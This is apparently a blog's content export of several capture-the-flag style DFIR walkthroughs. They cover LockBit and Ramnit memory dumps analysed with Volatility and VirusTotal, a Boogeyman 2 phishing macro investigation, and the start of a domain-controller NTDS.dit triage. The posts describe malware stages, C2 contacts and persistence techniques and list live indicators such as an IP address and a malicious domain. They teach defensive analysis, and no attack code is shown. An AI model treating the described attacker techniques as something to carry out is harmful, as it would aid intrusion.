submit the new file (executable.900.exe) to VirusTotal and see if this changes the resulting TLSH:\nEXE File — VirusTotal Report: https://www.virustotal.com/gui/file/19ca5aa4cd62929afb255d2b38e70fd3143e3b181889e84348a5c896e577d708\nVirusTotal VirusTotalwww.virustotal.com\nBingo! By switching from Volatility3 to Volatility2 to run the process dump, we\u0026rsquo;ve located the correct VirusTotal report and corresponding TLSH!\nQuestion 5: Which MITRE ATT\u0026amp;CK technique ID was used by the ransomware to perform privilege escalation? Now that we have a new VirusTotal report to review, let\u0026rsquo;s analyze its behavior, focusing on the Behaviors \u0026gt; MITRE ATT\u0026amp;CK Tactics and Techniques section. We\u0026rsquo;re looking for privilege escalation techniques, so expand the privilege escalation header to see all the observed tactics and techniques used by the malware:\nVirusTotal Behaviors \u0026gt; MITRE ATT\u0026amp;CK Tactics and Techniques\nAt this point in our analysis, we could be searching for any of the listed techniques to answer Question 5. To narrow it down further, check the next section, Malware Behavior Catalog Tree, focusing again on the Privilege Escalation behaviors.\nVirusTotal Behaviors \u0026gt; Malware Behavior Catalog Tree\nComparing the two sections we do see some overlap in the listed techniques. Since the question is asking (and only has room for) the technique ID (T1543) and not the sub-technique, let\u0026rsquo;s check our work and see if we found the correct answer\u0026hellip;\nVirusTotal Behaviors \u0026gt; MITRE ATT\u0026amp;CK Tactics and Techniques \u0026gt; Create or Modify System Process (T1543)\nQuestion 6: What is the SHA256 hash of the ransom note dropped by the malware? Next, scroll down to the File system actions \u0026gt; Files Dropped section to see the observed file activity. We\u0026rsquo;re looking for anything dropped by the malware that resembles a ransom note. This will help identify the note\u0026rsquo;s name, which we can then search for in the memory dump using Volatility2. You\u0026rsquo;ll quickly notice that there are dozens of instances of a ransom note-y type files, Restore-My-Files.txt.\nDropped Files Summary from VirusTotal\nIn the same way that we handled Question 3, let\u0026rsquo;s jump back into Volatility2 and use the [filescan](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#filescan) plugin to search the file objects in the image for the ransom note. Again, we\u0026rsquo;ll use grep to filter the results matching the name of the ransom note:\nvol.py -f Lockbit.vmem \u0026ndash;profile=Win7SP1x64 filescan | grep -i \u0026ldquo;Restore\u0026rdquo;\nUnfortunately, we don\u0026rsquo;t find anything that matches the string. So, let\u0026rsquo;s pivot to the [mftparser](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#mftparser) plugin to scan the Master File Table (MFT) for the artifact:\nvol.py -f Lockbit.vmem \u0026ndash;profile=Win7SP1x64 mftparser | grep \u0026ldquo;Restore\u0026rdquo;\nWhile this looks more promising and confirms the activity on the victim\u0026rsquo;s device, we have no way of extracting the files to calculate the SHA256 hash that is needed to answer the question.\nReturning to VirusTotal; this becomes a process of elimination using the pre-existing analysis results. Starting at the top of the dropped files list, expand the first entry, \u0026quot; # \u0026ldquo;Restore-My-Files.txt,\u0026ldquo;to reveal the available SHA256 hashes. Let\u0026rsquo;s try each hash to see if any work.\nLuckily, the first \u0026quot; # \u0026quot;\ndropped\u0026rdquo; ransom note in the list is the one we are looking for!\nQuestion 7: What is the name of the registry key edited by the ransomware during the attack to apply persistence on the infected system? Finally, let\u0026rsquo;s continue using the VirusTotal report and analyze the persistence mechanisms used by the malware. Looking at the _MITRE ATT\u0026amp;CK Tactics and Techniques s_ection again, we\u0026rsquo;ll find several observed techniques listed, but only one referencing the Windows Registry. This is a common persistence method where a threat actor might use a run key to execute an application when a user logs in (MITRE ATT\u0026amp;CK — T1547.001.)\nFinding the relevant technique is a good start, but let\u0026rsquo;s see if VirusTotal can provide any more information about the created registry key. The next place to check is the Crowdsourced Sigma Rules section**.** These Sigma rules are open-source threat detection rules and can be extremely useful when applied to the VirusTotal analysis. For example, let\u0026rsquo;s open the rule hit for CurrentVersion Autorun Keys Modification:\nThe matching rule contains a TargetObject for the Autorun key modification. At the very end, we can see the very suspicious key object name — this could be what we\u0026rsquo;re looking for. Let\u0026rsquo;s double-confirm by scrolling down Registry Actions \u0026gt; Registry Keys Set section and see if this key appears again:\nSince we\u0026rsquo;ve seen this key referenced twice and the location matches a known adversary technique, I think we\u0026rsquo;ve found our answer! Let\u0026rsquo;s submit the flag and wrap up our investigation!\nConclusion: Mission accomplished! With the help of Volatility, we\u0026rsquo;ve successfully identified the malware process and found the file hash of the executable to determine its ransomware family. After that, we turned to VirusTotal to reveal more details about the malware including how it elevates privileges and stays persistent on the system. Now that we have scoped the attack and completed our objectives let\u0026rsquo;s close out this walkthrough of the LockBit Challenge!\nA big thank you to LetsDefend, for another engaging and challenging lab scenario. This was a great learning opportunity because I hit a couple stumbling blocks particularly trying to uncover the TLSH of the malware binary. I was really interested in this question since I was unfamiliar with what a TLSH is and because the challenge didn\u0026rsquo;t specify any recommended tools, needing to pivot from Volatility3 to Volatility2 was an unexpected twist — I suspect this lab was designed with the older version in mind. But, this was a great example of the importance of staying flexible during an investigation — I\u0026rsquo;ve done a string of Volatility labs recently so I had gotten into a routine using Volatility3 and didn\u0026rsquo;t even consider choosing Volatility2 until a couple of hours of being stuck on that question — newer doesn\u0026rsquo;t always mean better and it\u0026rsquo;s a good reminder to check my own confirmation biases.\nThanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don\u0026rsquo;t forget to give it a clap! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we\u0026rsquo;re in this together!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: VirusTotal (.img): https://www.virustotal.com/gui/file/5988e75518b2f365671dc49da18b5a70274351721f1f3a8f8f7bf32984e4024c\nVirusTotal (.dat): https://www.virustotal.com/gui/file/cea3e8a3e541ae4c928c3cd33f6772f1a69746393ac1a5c4575379a09a92d1e1\nTrend Micro: Smart Whitelisting Using Locality Sensitive Hashing | Trend Micro (US)\nVolatility GitHub Issues: https://github.com/volatilityfoundation/volatility3/issues/160\nVirusTotal (executable.900.exe): https://www.virustotal.com/gui/file/19ca5aa4cd62929afb255d2b38e70fd3143e3b181889e84348a5c896e577d708\nMITRE ATT\u0026amp;CK — Create or Modify System Process (T1543): https://attack.mitre.org/techniques/T1543/\nMITRE ATT\u0026amp;CK — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (T1547.001): https://attack.mitre.org/techniques/T1547/001/\n","date":"2024-11-11T00:00:00Z","image":"/posts/letsdefend-lockbit-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png","permalink":"/posts/letsdefend-lockbit-challenge-walkthrough/","title":"LetsDefend — LockBit Challenge Walkthrough"},{"content":"CyberDefenders— Ramnit Blue Team Lab Walkthrough An Endpoint Forensic Investigation with Volatility 3 and VirusTotal Image Credit: https://cyberdefenders.org/blueteam-ctf-challenges/ramnit/\nIntroduction: Imagine this scenario: You\u0026rsquo;re a cybersecurity analyst, and suddenly, you receive an alert about suspicious process behavior from a user\u0026rsquo;s workstation. You\u0026rsquo;re handed a memory dump from the infected machine to investigate the incident, analyze the artifacts on the system, and discover the malware\u0026rsquo;s actions.\nIf this sounds like something you\u0026rsquo;re into, welcome to my weekly walkthrough, you\u0026rsquo;ve stumbled on the right blog! This week, we\u0026rsquo;re jumping into the Ramnit Lab from CyberDefenders.\nFor this challenge, we\u0026rsquo;ll dissect a memory dump of a device infected with malware performing suspicious operations on the victim\u0026rsquo;s system. Using Volatility 3 and VirusTotal, we\u0026rsquo;ll locate the malicious process, uncover its file path on the system, and learn about any IP addresses and domains the malware contacts. The goal is to gather a list of indicators of compromise (IOCs) to understand the malware\u0026rsquo;s behavior and prevent any further impact on the environment. Sounds like fun, right? Let\u0026rsquo;s get into it!\nIf you find this walkthrough is helpful in leveling up your skills or getting you through a tricky question, give it a clap! Your feedback lets me know that I helped you out on your security journey. Thanks for reading!\nThanks for reading along, hope it helps!\nChallenge Link: https://cyberdefenders.org/blueteam-ctf-challenges/ramnit/\nChallenge Scenario: Scenario:\nOur intrusion detection system has alerted us to suspicious behavior on a workstation, pointing to a likely malware intrusion. A memory dump of this system has been taken for analysis. Your task is to analyze this dump, trace the malware\u0026rsquo;s actions, and report key findings. This analysis is critical in understanding the breach and preventing further compromise.\nTools:\nVolatility 3\nSetup the REMnux Analysis Environment \u0026amp; Extract the challenge file: Safety first! When working with lab/challenge files from CyberDefenders (or any educational lab/challenge/range), it\u0026rsquo;s important to be responsible and stay safe by performing malware analysis tasks in a dedicated, isolated virtual machine environment. For this challenge I\u0026rsquo;m using REMnux, a specialized Linux distribution for malware analysis.\nTo keep this write-up focused, I\u0026rsquo;m going to skip a step-by-step setup directions of REMnux, but if you\u0026rsquo;d like to set up your own environment, please follow the guide provided by REMnux directly. For reference, I used the virtual appliance method:\nGet the Virtual Appliance | REMnux Documentation _The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into\u0026hellip;_docs.remnux.org\nOnce we have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!\nQuestion 1: We need to identify the process responsible for this suspicious behavior. What is the name of the suspicious process? Let\u0026rsquo;s kick off this investigation and start hunting for the suspicious process!\nBut before we dive into using Volatility, let\u0026rsquo;s quickly get familiar with the help documentation which is a handy way to see what plugins are available for use. We can bring up Volatility\u0026rsquo;s manual pages with the following command:\nvol3 -h\nNow, our first task is to understand what processes were running on the victim\u0026rsquo;s system when the memory dump was taken during the incident. We\u0026rsquo;ll accomplish this by leveraging Volatility\u0026rsquo;s [windows.pslist](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#pslist) plugin to scan the image and list the running processes on the system using the syntax below:\nvol3 -f memory.dmp windows.pslist\nAnalyzing the processes list, we need to identify the suspicious one. If the output seems overwhelming, don\u0026rsquo;t worry — it takes practice to sift through it. A great resource to understand normal Windows behavior is the Hunt Evil poster from the SANS Institute.\nAt first glance, everything seems normal for virtualized Windows system, doesn\u0026rsquo;t it? The exception is one process looks a little suspicious: a ChromeSetup.exe is running when the capture was taken. Since the intrusion detection system (IDS) alerted on suspected malware execution, let\u0026rsquo;s start by investigating this process and make a note of the process ID (PID) too, we\u0026rsquo;ll need it for the next question.\nQuestion 2: To eradicate the malware, what is the exact file path of the process executable? Awesome! Now that we have uncovered the malicious executable, let\u0026rsquo;s find out more about it by determining its file path on the victim\u0026rsquo;s device.\nBack in Volatility, we\u0026rsquo;ll use the windows.cmdline plugin this time which allows us to view not only the process command line arguments but also the executable file path of the process.\nTo make it easier, let\u0026rsquo;s use grep to show us only the results with the process ID (PID) of ChromeSetup.exe. We\u0026rsquo;ll find this information in the pslist output from Question 1 in the far left column.\nvol3 -f memory.dmp windows.cmdline | grep 4628\nThere we go! The executable is in the victim\u0026rsquo;s Downloads folder. It appears that the victim was searching for the Google Chrome browser, encountered a malicious link, and inadvertently downloaded and executed the malware on their system.\nQuestion 3: Identifying network connections is crucial for understanding the malware\u0026rsquo;s communication strategy. What is the IP address it attempted to connect to?\nContinuing with the malware analysis, we need to identify any network connections the malware made to find the second stage or command and control (C2) server.\nFor this part, we\u0026rsquo;ll use Volatility\u0026rsquo;s [windows.netscan](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#netscan) plugin to scan the network artifacts in the image. Using grep again, we\u0026rsquo;ll filter the results to only show those matching the malicious PID.\nvol3 -f memory.dmp windows.netscan | grep 4628\nThe downside is that you won\u0026rsquo;t see the column names in the output, but you can refer to the screenshot below for reference.\nVolatility windows.netscan output headers\nOnce we run the command, the table reveals that the malware is communicating with an external IP address seen in the ForeignAddr column. This is the IP address of the command and control (C2) server that we\u0026rsquo;re looking for!\nQuestion 4: To pinpoint the geographical origin of the attack, which city is associated with the IP address the malware communicated with? Now that we\u0026rsquo;ve discovered the malware infrastructure\u0026rsquo;s IP address, we\u0026rsquo;ll pivot and gather geolocation intelligence about it. For a higher degree of confidence, let\u0026rsquo;s check a couple of geolocation services since the location data results can vary depending on the method the database provider uses to determine the location.\nStarting with VirusTotal, we can tentatively determine that the IP address is located in Hong Kong.\nGeolocation data from VirusTotal\nNext, we\u0026rsquo;ll check ipinfo.io for added validation:\nGeolocation data from ipinfo.io\nDouble-confirmed! Although we could continue checking with various geolocation and threat intelligence services, we\u0026rsquo;ve already found our answer for the purposes of this challenge.\nQuestion 5: Hashes provide a unique identifier for files, aiding in detecting similar threats across machines. What is the SHA1 hash of the malware\u0026rsquo;s executable? Next, we need to find the SHA1 hash of the malware executable so that we can gather more intelligence and perform further analysis to understand its impact.\nThe first step to obtain the file hash is to extract the executable from the memory dump. For this, we can leverage Volatility\u0026rsquo;s [windows.dumpfiles](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#dumpfiles) plugin to dump file contents from the image. Use the syntax below, specifying an output directory for the dump and the PID of the ChromeSetup.exe process we found in Question 1.\nvol3 -f memory.dmp -o windows.dumpfiles \u0026ndash;pid 4628\nAs the process completes, check the terminal output for the files that are being dumped to confirm that ChromeSetup.exe was extracted and note the corresponding file name on the right side (file.0xca82b85325a0\u0026hellip; ).\nNow, we can list the contents of the output directory to confirm that the extraction was successful. Finally, use the sha1sum command to calculate hash of the executable:\nAwesome! Now that we have the SHA1 hash, we can answer Question 5. But, let\u0026rsquo;s take this a step further and jump over to VirusTotal to check if the sample, identified by the unique hash we extracted, has been previously analyzed:\nVirusTotal VirusTotalwww.virustotal.com\nSubmitting the hash to VirusTotal confirms that this file is malicious and detected by most scanning engines on the platform_._ Let\u0026rsquo;s continue to the next question and learn more about the malware.\nQuestion 6: Understanding the malware\u0026rsquo;s development timeline can offer insights into its deployment. What is the compilation UTC timestamp of the malware? Since we already have the VirusTotal report for the malware open, we can use the existing analysis results on the platform to check the Creation Time value from the Details tab.\nVirusTotal Report \u0026gt; Details Tab\nQuestion 7: Identifying domains involved with this malware helps in blocking future malicious communications and identifying current possible communications with that domain in our network. Can you provide the domain related to the malware? We\u0026rsquo;ve made it to the last question! We\u0026rsquo;ll continue using the VirusTotal report to identify any domains that the malware contacts by navigating to the Relations Tab and then scroll down to Contacted Domains.\nBetween the IP address, SHA1 hash, and domain, we have a comprehensive list of indicators of compromise (IOCs) that we can use to hunt for the malware in the environment and block it. Let\u0026rsquo;s submit the final answer and wrap this investigation!\nConclusion: Mission accomplished! With the help of Volatility, we successfully identified the malicious process, hunted for the malware path and file hash, and uncovered the IP addresses and domains the malware communicates with. With the objectives completed and a comprehensive list if IOCs in-hand, let\u0026rsquo;s close out this walkthrough of the Ramnit Lab!\nA big thank you to CyberDefenders for another engaging and challenging lab. This lab was a great example of the importance of memory dump analysis during DFIR cases and showcased some excellent scenarios for analyzing memory artifacts. Hands-on practice with forensic tools through labs can be extremely beneficial, and every time I try a new challenge with Volatility, I discover some cool and new uses of the tool that makes it much more efficient the next time I need it. Practice makes perfect!\nRemember if you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, don\u0026rsquo;t forget to give it a clap. Your feedback is invaluable and helps me create content that supports your journey in cybersecurity. We\u0026rsquo;re in this together. Thanks for the support!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: REMnux: https://remnux.org/\nVolatility 3: https://github.com/volatilityfoundation/volatility3\nSANS Hunt Evil Poster: https://www.sans.org/posters/hunt-evil/\nVolatility Command Reference: https://github.com/volatilityfoundation/volatility/wiki/command-reference\nipinfo.io: https://ipinfo.io/\nVirusTotal — C2 IP: https://www.virustotal.com/gui/ip-address/58.64.204.181/details\nVirusTotal — Malware Sample: https://www.virustotal.com/gui/file/1ac890f5fa78c857de42a112983357b0892537b73223d7ec1e1f43f8fc6b7496/details\n","date":"2024-11-04T00:00:00Z","image":"/posts/cyberdefenders-ramnit-blue-team-lab-walkthrough/4f99eb59244c3367efb789a723428854_MD5.png","permalink":"/posts/cyberdefenders-ramnit-blue-team-lab-walkthrough/","title":"CyberDefenders — Ramnit Blue Team Lab Walkthrough"},{"content":"TryHackMe — Boogeyman 2 Challenge Walkthrough Email \u0026amp; Endpoint Forensic Investigation using olevba, strings, \u0026amp; Volatility 3 Image Credit: https://tryhackme.com/r/room/boogeyman2\nIntroduction: Are you still afraid of the Boogeyman?\nIf not, you’ve stumbled on the right blog and welcome to my weekly walkthrough! This blog is a walkthrough of the Boogeyman 2 challenge from TryHackMe which is the second in a series of capstone challenges for the SOC Level 1 path. This challenge is a multi-part digital forensics and incident response (DFIR) investigation focusing on a fictional threat actor called the Boogeyman.\nIf you want to catch up on how we got here, check out my walkthrough of Boogeyman 1 first.\nTryHackMe — Boogeyman 1 Challenge Walkthrough\nIn this challenge, we will investigate an email, and an endpoint memory dump collected from a victim compromised by this returning, shadowy threat actor. It is our job as security analysts to determine how the Boogeyman got in this time. To unmask the Boogeyman, we’ll utilize a few tools to aid in our investigation including olevba, part of the oletools package, and Volatility for analyzing a memory dump of the compromised workstation.\nDoesn’t sound so scary, right?\nNow let’s grab our flashlights and shine a light on the Boogeyman’s updated tactics, techniques, and procedures. I don’t want to ruin any of the surprises, so this walkthrough is spoiler-free, but please use it as a reference and enjoy! Thanks for reading along!\nChallenge Link: https://tryhackme.com/r/room/boogeyman2\nChallenge Scenario: After having a severe attack from the Boogeyman, Quick Logistics LLC improved its security defences. However, the Boogeyman returns with new and improved tactics, techniques and procedures.\nIn this room, you will be tasked to analyse the new tactics, techniques, and procedures (TTPs) of the threat group named Boogeyman.\nMaxine, a Human Resource Specialist working for Quick Logistics LLC, received an application from one of the open positions in the company. Unbeknownst to her, the attached resume was malicious and compromised her workstation.\nThe security team was able to flag some suspicious commands executed on the workstation of Maxine, which prompted the investigation. Given this, you are tasked to analyse and assess the impact of the compromise.\nQuestion 1: What email was used to send the phishing email? Jumping right into our environment let’s start with the email, “Resume — Application for Junior IT Analyst Role.eml,” from within the Artefacts folder.\nWhile there are a number of ways that we can approach the header analysis of this message, let’s just open it with the default text editor and do manual header analysis for the first few questions.\nWe’ll start out with a simple one; all we’re looking for is the From field in the email to find the sender’s address. Once we’ve found it, we can answer Question 1.\nQuestion 2: What is the email of the victim employee? By finding the From field in the email header, we’ve also discovered the To field right below it which has the victim, Maxine’s, email address.\nQuestion 3: What is the name of the attached malicious document? We can discover the attachment’s filename by simply searching for “attachment” within the text file. This will take us to the Content-Description/Disposition fields where we can see the name of the attached malicious document.\nQuestion 4: What is the MD5 hash of the malicious attachment? While we have a couple of ways of approaching this, let’s take the path of least resistance and simply download the attachment by opening the .eml file with the default email client installed in the analysis environment.\nOnce downloaded, we can use the md5sum command from the terminal to compute the MD5 hash of the attachment.\nmd5sum NAME-OF-ATTACHMENT-Q3.doc\nQuestion 5: What URL is used to download the stage 2 payload based on the document’s macro? Okay, now it’s time to perform some static analysis of the malicious attachment. Since the question mentions macros and the attachment type is .doc, let’s check out the tool mentioned in the tutorial for this challenge— olevba, part of the oletools suite by Philippe Lagadec (decalage2).\nAccording to the project’s GitHub repository:\nolevba is a script to parse OLE and OpenXML files such as MS Office documents (e.g. Word, Excel), to detect VBA Macros, extract their source code in clear text, decode malware obfuscation (Hex/Base64/StrReverse/Dridex) and detect security-related patterns such as auto-executable macros, suspicious VBA keywords used by malware, and potential IOCs (IP addresses, URLs, executable filenames, etc).\nSounds useful! Let’s put olevba to work and parse the attachment to see if it discovers anything that could help us answer Question 2 by using the command below:\nolevba At the bottom of the output, we’ll find a handy summary of what the tool uncovered. Items marked with IOC are indicators of compromise, or items that can potentially help with our investigation like IP Addresses, URLs, or file names. Here we’ll see that olevba extracted a suspicious URL that might be related to the threat actor…\nolevba summary table\nQuestion 6: What is the name of the process that executed the newly downloaded stage 2 payload? Now, instead of focusing on the summary results, let’s look a little more closely at the macro details where the IOC is located. Scroll back toward the top of the olevba output right above the summary table and look for the stream ‘Macros/VBA/NewMacros’\nLooking at the macro it seems that once the stage 2 payload is downloaded from the URL (Question 5), it is saved as a JavaScript (.js) file and then executed with a specific process — this is what we need to answer Question 6.\nQuestion 7: What is the full file path of the malicious stage 2 payload? Because we already found the process that executed the payload in the last question, we also discovered the file path where the JavaScript payload was executed from.\nQuestion 8: What is the PID of the process that executed the stage 2 payload? All right, now we’re going to pivot to performing memory forensics using Volatility 3.\nIf you aren’t familiar with Volatility, it’s a “widely used framework for extracting digital artifacts from volatile memory (RAM) samples.” In other words, we can use it to analyze the raw memory dump artifact WKSTN-2961.raw!\nBut how do we get started looking for the answer to Question 8? A pro tip is to leverage Volatility’s help function to see what plugins are available:\nvol.py -h\nAfter reviewing the available plugins, we’ll start by getting an overview of all the processes running at the time the memory dump was taken on the victim’s system and see the process IDs (PID) listed in the PID column on the far left.\nvol -f WKSTN-2961.raw windows.psscan\nThen, we can search the output manually for the process name that we found in Question 6.\nAlternatively, we can work a little bit smarter and use grep to show us only the results that match the process name.\nvol -f WKSTN-2961.raw windows.psscan | grep \u0026ldquo;PROCESS-NAME-FROM-QUESTION-6\u0026rdquo;\nIt’s your choice! Either way, the PID column is the answer we need.\nQuestion 9: What is the parent PID of the process that executed the stage 2 payload? Fortunately, by finding the answer to Question 8, we also found the answer to Question 9 already. We just need to input the value in the parent process ID (PPID) column!\nQuestion 10: What URL is used to download the malicious binary executed by the stage 2 payload? All right, we’ve gotten a good start with Volatility but to answer Question 10 we need to go a step further and see if the processes that executed the stage 2 payload (Question 8) also has any child processes_._ The idea here is that by looking for processes spawned by the binary that launched the stage 2 payload, we can analyze the payload and find any additional URLS.\nTo accomplish this, we’ll leverage Volatility’s [windows.pstree](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#pstree) to list the process tree and view the relationships between the processes. To keep it simple, let’s use grep again to show us only results with the PID of the process that executed the stage 2 payload that we found in Question 8.\nvol -f WKSTN-2961.raw windows.pstree | grep \u0026ldquo;PID-FROM-QUESTION-8\u0026rdquo;\nOkay, there is a child process! Let’s try to determine where this executable came from by dumping the process with Volatility’s [windows.memmap](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#memmap) plugin and searching for new evidence:\nvol -f WKSTN-2961.raw windows.memmap \u0026ndash;pid \u0026ndash;dump\nRunning this command creates .dmp file of the process. Then, we can try running strings command to pull out any artifacts from the process dump. Since we know of the domain (Question 5) that downloaded the 2nd stage payload, let’s start there:\nstrings pid.REDACTED.dmp | grep \u0026ldquo;files.boogeymanisback.lol\u0026rdquo;\nUnfortunately, while we see the domain, we don’t have a full URL path to the malicious binary within the process dump. So, why don’t we just try running strings against the complete raw memory dump instead to check the whole thing in one shot?\nstrings WKSTN-2961.raw | grep \u0026ldquo;files.boogeymanisback.lol\u0026rdquo;\nThere we go! Now we’ve found a second file from this domain — this is the malicious binary that we’re looking for.\nQuestion 11: What is the PID of the malicious process used to establish the C2 connection? Although this is a bit out of order, we already found the answer by searching for the child process in the previous question. Now, we just need to input the PID of the child process we found.\nQuestion 12: What is the full file path of the malicious process used to establish the C2 connection? To answer Question 12, we need to find the full file path of the malicious child process. For this task, we can use the Volatility windows.cmdline plugin.\nThis plugin can help us by showing not only the process command line arguments but also the executable file path of the process.\nvol -f WKSTN-2961.raw windows.cmdline \u0026ndash;pid PID-FROM-QUESTION-11\nQuestion 13: What is the IP address and port of the C2 connection initiated by the malicious binary? (Format: IP address:port) Now that we know the PID and file path of the malicious binary, let’s dive deeper and search for any network connections established by the process, which could lead us to the command and control (C2) server.\nWe’ll use the [windows.netscan](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#netscan) plugin to scan for network artifacts like IP addresses, ports, and protocols. Then, we’ll combine it with grep to filter the relevant results for the malicious process PID from Question 11.\nvol -f WKSTN-2961.raw windows.netscan | grep -i \u0026ldquo;PID-FROM-QUESTION-11\u0026rdquo;\nVolatility windows.netscan output for the malicious binary\nOnce we run the command, we’ll see the output table listing the external ForeignAddr and ForignPort columns that the malicious binary is connected to. These should be the IP address and port of the C2 connection we are looking for.\nQuestion 14: What is the full file path of the malicious email attachment based on the memory dump? We already identified the name of the malicious attachment in Question 3, which gets us halfway to our goal. Now, we just need to find the full file path of the downloaded email on the victim’s system.\nTo accomplish this, we can use Volatility’s [windows.filescan](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#filescan) plugin to search for file objects within the image.\nUsing grep to search the term “Resume,” we can uncover the path of the malicious CV sent by the Boogeyman threat actor.\nvol -f WKSTN-2961.raw windows.filescan | grep \u0026ldquo;Resume\u0026rdquo;\nAlthough there are two entries, we can see the file path in the image points to the same temporary Microsoft Outlook content storage folder.\nQuestion 15: The attacker implanted a scheduled task right after establishing the c2 callback. What is the full command used by the attacker to maintain persistent access? Okay, we’ve made it to the last step. To finally unmask the Boogeyman this time, we need to analyze the scheduled task that the threat actor used for persistence on the victim’s system (MITRE ATT\u0026amp;CK T1053.005.)\nTo do this, we’re going to use strings on the RAW dump file again but this time we’ll look for Windows Task Scheduler artifacts. There are two ways that this can be done, let’s take a brief look at what we will search for.\ntaskschd: This is the GUI version of the Task Scheduler in Windows.\nschtasks: This is the CLI version of the Task Scheduler in Windows.\nWe’re going to try both and see if we can find any relevant artifacts starting with taskschd:\nstrings WKSTN-2961.raw | grep -i \u0026ldquo;taskschd\u0026rdquo;\nIt doesn’t seem like there is anything interesting here. Let’s try schtasks next:\nstrings WKSTN-2961.raw | grep -i \u0026ldquo;schtasks\u0026rdquo;\nNow we’ve found something interesting, the threat actor has created a new task using schtasks. This is exactly what we need to answer the last question and wrap up this investigation!\nConclusion: Mission accomplished! We have completed our frighteningly fun investigation of Boogeyman 2! Using our forensic skills, we discovered that this time the Boogeyman infected the victim’s device through email with a malicious attachment. Then the threat actor used living-off-the-land binaries to download a stage 2 payload, establish command and control, and maintain persistent access using schtasks. Now, let’s wrap this investigation!\nA huge thank you to TryHackMe for the excellent part II of the Boogeyman series. This challenge is perfect for sharpening our security skills during the spooky Halloween season! I was really impressed with the dimensions of this room, as it had two different scopes and a complete narrative of the Boogeyman’s return. The detail and flow were much closer to a real-world simulation exercise than others I have completed. It was really engaging to see how the fictional threat actor changed tactics, techniques, and procedures between the two rooms.\nIf you want to brave the next Boogeyman adventure with me, please check out my walkthrough of the Boogeyman 3. Until the Boogeyman returns yet again, stay vigilant!\nTryHackMe — Boogeyman 3 Challenge Walkthrough\nBut if this is the end of our journey together, please consider giving this walkthrough a clap if you found this walkthrough helpful in leveling up your skills or getting you through a tricky question. Your feedback lets me know that I helped you out on your security journey. We’re in this together! Thanks for the support!\nTools \u0026amp; References: Olevba: https://github.com/decalage2/oletools/wiki/olevba\nVolatility Framework: https://github.com/volatilityfoundation/volatility3\nVolatility Command Reference: https://github.com/volatilityfoundation/volatility/wiki/Command-Reference\nMicrosoft Learn (schtasks): schtasks commands | Microsoft Learn\nMITRE ATT\u0026amp;CK — Scheduled Task/Job: Scheduled Task (T1053.005): https://attack.mitre.org/techniques/T1053/005/\n","date":"2024-10-27T00:00:00Z","image":"/posts/tryhackme-boogeyman-2-challenge-walkthrough/64b3c4319224c18ebb00355859fc4121_MD5.png","permalink":"/posts/tryhackme-boogeyman-2-challenge-walkthrough/","title":"TryHackMe  —  Boogeyman 2 Challenge Walkthrough"},{"content":"HackTheBox — CrownJewel-1 Sherlock Walkthrough Investigating a Compromised Domain Controller with Windows Event Logs and MFTECmd Image Credit: https://app.hackthebox.com/sherlocks/CrownJewel-1/play\nIntroduction: Imagine this: You’re on the front lines of an organization’s security team when suddenly, alerts start firing from a domain controller about suspicious use of the V_olume Shadow Copy Service_ and a potential dump of the NTDS.dit database containing the domain’s secrets. You need to dive into the artifacts, investigate the logs, and triage this incident. If this sounds exciting to you, you’ve stumbled on the right blog!\nWelcome to my weekly walkthrough! This week, we’re tackling the CrownJewel-1 challenge from Hack The Box! In this digital forensics and incident response (DFIR) challenge, we defenders will explore the NTDS.dit database and how it was accessed via the Volume Shadow Copy Service. Our goal is to uncover critical details such as the start time of the service, the accounts that were enumerated, the process ID of the service, the GUID of the volume, and the path and file sizes of the dumped file on the disk through the Master File Table (MFT). To do this, we’ll leverage the domain controller’s Windows Event logs and Eric Zimmerman’s MFTECmd tool.\nWhile this challenge is geared toward beginners, it’s a fantastic lab to get some hands-on time with MFTECmd and practice log analysis for all skill levels. So, let’s grab our magnifying glasses and get ready to investigate!\nAnd if you find this walkthrough helpful in leveling up your skills or getting you through a tricky question, give it a clap! Your feedback helps me improve and continue supporting your security journey.\nThanks for reading!\nChallenge Link: https://app.hackthebox.com/sherlocks/CrownJewel-1\nChallenge Scenario: Forela’s domain controller is under attack. The Domain Administrator account is believed to be compromised, and it is suspected that the threat actor dumped the NTDS.dit database on the DC. We just received an alert of vssadmin being used on the DC, since this is not part of the routine schedule we have good reason to believe that the attacker abused this LOLBIN utility to get the Domain environment’s crown jewel. Perform some analysis on provided artifacts for a quick triage and if possible kick the attacker as early as possible.\nSetup the Analysis Environment \u0026amp; Extract the challenge file: Safety first! It’s always important when working with lab/challenge files from Hack the Box (or any educational lab/challenge/range) to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. For example, since this is a _Windows-_based lab, I’m using FLARE-VM for this challenge and walkthrough.\nTo keep this write-up focused I’m going to skip the step-by-step setup of FLARE-VM but _i_f you’d like to set up your own environment, please follow the directions provided directly by FLARE-VM on GitHub.\nGitHub - mandiant/flare-vm: A collection of software installations scripts for Windows systems that… _A collection of software installations scripts for Windows systems that allows you to easily setup and maintain a…_github.com\nOkay! Once we have our virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!\nQuestion 1: Attackers can abuse the vssadmin utility to create volume shadow snapshots and then extract sensitive files like NTDS.dit to bypass security mechanisms. Identify the time when the Volume Shadow Copy service entered a running state. Let’s start the triage process! Personally, I find that it’s always a good practice to familiarize myself of what artifacts are available for analysis. Let’s take a quick look at what we have been provided first:\nAll right, we have three Windows Event Logs and the $MFT. We’ll go into each one of these in more detail as they come up during the investigation, but this gives us at least some idea of how we’ll investigate this incident.\nNext, let’s gain a better understanding of what we are investigating and why. For this, let’s check out the MITRE 